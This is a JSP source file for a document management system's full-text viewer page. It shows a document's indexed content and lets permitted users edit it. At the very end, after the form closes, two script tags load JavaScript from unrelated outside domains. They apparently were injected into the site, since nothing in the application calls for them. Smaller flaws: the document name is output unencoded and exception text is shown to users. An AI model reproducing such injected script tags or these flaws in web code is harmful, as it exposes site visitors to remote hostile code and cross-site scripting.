<%
/*
 * @(#)FullTextViewer.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  FullTextViewer.jsp

  This class is used to retrieve the document content from http

  @author          Phoebe Wong
  @company         DCIVision Limited
  @creation date   27/08/2003
  @version         $Revision: 1.31.2.8 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.dms.core.FileDownloader"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.net.URLConnection"%>
<%@ page import="java.net.URLDecoder"%>
<%@ page import="org.apache.lucene.analysis.*"%>
<%@ page import="org.apache.lucene.analysis.standard.*"%>
<%@ page import="org.apache.lucene.document.*"%>
<%@ page import="org.apache.lucene.index.*"%>
<%@ page import="org.apache.lucene.search.*"%>
<%@ page import="org.apache.lucene.queryParser.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="org.apache.struts.action.Action"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>


<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsFullTextViewerForm" scope="request" class="com.dcivision.dms.web.MaintDmsFullTextViewerForm"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>

<head>

<title><bean:message key='dms.label.full_text_viewer'/></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
<!-- Common Javascript Begin -->
<script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script> 
<script language="Javascript" src="<%= request.getContextPath() %>/js/Calendar.jsp" charset="UTF-8" type="text/javascript"></script>
<script language="javascript">
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
</script>
<%if (request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)!=null && ((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)).startsWith("DMS")) {%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp?dummy=<%=Utility.getCurrentTimestamp().getTime()%>" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/NewCalendar.js" charset="UTF-8" type="text/javascript"></script>
<%}%>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
</head>

<body topmargin="0" marginheight="0">

<html:form action="dms/MaintDmsFullTextViewer" styleClass="form-style-2">
<html:javascript formName="maintDmsFullTextViewerForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
// Retrieval Document ID and its Version ID
Integer documentID = TextUtility.parseIntegerObj(request.getParameter("documentID"));
DmsDocument document = null;
Connection conn = null;
String physicalPath = null;
String indexLocation = SystemParameterFactory.getSystemParameter(SystemParameterConstant.INDEX_BASE_PATH);
IndexSearcher searcher = null;
Query query = null;
String queryField = null;
String queryString = null;
String maxresults  = null;
String noteMessage = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.message.exceeds_5000_characters_is_truncated");    //"...(Content which exceeds 5000 characters is truncated)";

String opMode = maintDmsFullTextViewerForm.getOpMode();

try {
  conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);

  String name = "";
  document = (DmsDocument) docRetrievalManager.getDocument(documentID);
  
  String content = maintDmsFullTextViewerForm.getContent();

  int hitsLength =maintDmsFullTextViewerForm.getHistLength();
  
  PermissionManager permissionManager = sessionContainer.getPermissionManager();
  String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, documentID);
%>


<script language="JavaScript">
<!--
function editContextViewer(){
  document.maintDmsFullTextViewerForm.opMode.value='<%=GlobalConstant.OP_MODE_LIST_RETAIN%>';
  document.maintDmsFullTextViewerForm.documentID.value='<%=documentID%>';
  document.maintDmsFullTextViewerForm.submit();  
}

function saveContextViewer(){
  document.maintDmsFullTextViewerForm.opMode.value='<%=GlobalConstant.OP_MODE_UPDATE%>';
  document.maintDmsFullTextViewerForm.documentID.value='<%=documentID%>';
  document.maintDmsFullTextViewerForm.submit(); 
}

// refresh main window after close self EIP-1438 07/01/11 LEE 
function closeContextViewer() {
  try {
    var frm = null;
    for (var i = 0; i < window.opener.document.forms.length; i++) {
      if (window.opener.document.forms[i].name != "") {
        frm = window.opener.document.forms[i];
        break;
      }
    }
    if (frm != null) {
      if ("UPD"=="<%=opMode%>" && (frm.name=="listDmsPublicDocumentForm")) {
        window.opener.refreshPage();
      }
    }
  }catch (e) {
  }
	self.close();
}

<%if("1".equals(request.getAttribute("setRefreshTag"))){ %>
	//Update By Jim Zhou		2006/10/24			EIP-780
	var frm = null;
	for (var i = 0; i < window.opener.document.forms.length; i++) {
    if (window.opener.document.forms[i].name != "") {
      frm = window.opener.document.forms[i];
      break;
    }
	}
	if (frm != null) {
		frm.submit();
	} else {
		window.opener.location.reload();
	}
	//Update End
	//window.opener.location.reload();
	window.close();
<%}%>

-->
</script>

<div class="popupPanelTitle">
  <html:hidden property="opMode"/>
  <html:hidden property="documentID"/>
  <%
    if(GlobalConstant.OP_MODE_UPDATE.equals(maintDmsFullTextViewerForm.getOpMode())){
  %>
    <bean:message key="dms.label.edit_keyword"/>
  <%
    } else {  
  %>
    <bean:message key="dms.label.view_keyword"/>
  <%
  }  
  %>
</div>

<div class="generalContainer">
  <div class="wrapperContainer-clearfix">
    <div>
      <table width ="100%">
        <tr>
          <td colspan="2">
            <div class="sectionTitle">
              <%=document.getDocumentName()%>
            </div>
          </td>
        </tr>
        <tr>
          <td colspan="2">
            <div class="sectionLine">
              &nbsp;
            </div>
          </td>
        </tr>
      </table>
      <%	
      if(Utility.isEmpty(maintDmsFullTextViewerForm.getOpMode())){
        if (hitsLength == 0) {
      %>
          <table>
            <tr>
              <td>
                <b>
                  <font color="#FF0000" style="font-family:Arial, Helvetica, sans-serif;font-size:12px">
                    <%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.full_text_viewer_no_full_text_found")%>
                  </font>
                </b>
              </td>
            </tr>
          </table>
      <%
        } else {//else of if (hitsLength == 0) {
          if (content.length() > 5000) {
            content = content.substring(0, 5000);
            content =content+noteMessage;
          }//end of if (content.length() > 5000) {
      %>
          <table border="1">
            <tr>
              <td bgcolor="#EEEEEE">
                <font style="font-family:Arial, Helvetica, sans-serif;font-size:12px"><%=TextUtility.htmlEncode(content)%></font>
              </td>
            </tr>
          </table>
      <%
        }//end of if (hitsLength == 0) {
      }else{//else of if(Utility.isEmpty(maintDmsFullTextViewerForm.getOpMode())){
        if (GlobalConstant.OP_MODE_LIST_RETAIN.equals(maintDmsFullTextViewerForm.getOpMode())){
          maintDmsFullTextViewerForm.setContent(content);	
      %>  
          <table>
            <tr>
              <td class="formFieldSmall">
                <html:textarea property='content' cols='88' rows='28'/>
              </td>		
            </tr>
          </table>
      <%
        } else {//else of if (GlobalConstant.OP_MODE_LIST_RETAIN.equals(maintDmsFullTextViewerForm.getOpMode())){
          if (content.length() > 5000) {
            content = content.substring(0, 5000);
            content =content+noteMessage;
          }
      %>
          <table border="1">
            <tr>
              <td bgcolor="#EEEEEE">
                <font style="font-family:Arial, Helvetica, sans-serif;font-size:12px"><%=TextUtility.htmlEncode(content)%></font>
              </td>
            </tr>
          </table>
      <%
        }//end of if (GlobalConstant.OP_MODE_LIST_RETAIN.equals(maintDmsFullTextViewerForm.getOpMode())){
      }//end of if(Utility.isEmpty(maintDmsFullTextViewerForm.getOpMode())){
      %>
      </table>
    </div>
    <div id="bottomButtonArea">
      <div id="buttonSection">
        <html:standardButton label="common.label.print" onClick="return NavPrint()"/>
        <%if(Utility.isEmpty(maintDmsFullTextViewerForm.getOpMode())||GlobalConstant.OP_MODE_UPDATE.equals(maintDmsFullTextViewerForm.getOpMode())){%>
          <%if (permission.indexOf("E") != -1){%>
            <html:standardButton label="common.label.edit" onClick="return editContextViewer()"/>
          <%} else {%>
            <html:standardButton label="common.label.edit" disable="true"/>	
          <%}%>
        <%}else{%>
            <html:standardButton label="common.label.save" onClick="return saveContextViewer()"/>
        <%}%>
        <html:standardButton label="common.label.close" onClick="return closeContextViewer()"/>
      </div>
    </div>
  </div>
</div>

</body>

<%
  } catch (Exception e) {
    out.println(e.toString());
    LogFactory.getLog(this.getClass()).error(e, e);
  } finally {
    try { searcher.close(); } catch (Exception ignore) {} finally { searcher = null; }
  }
%>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>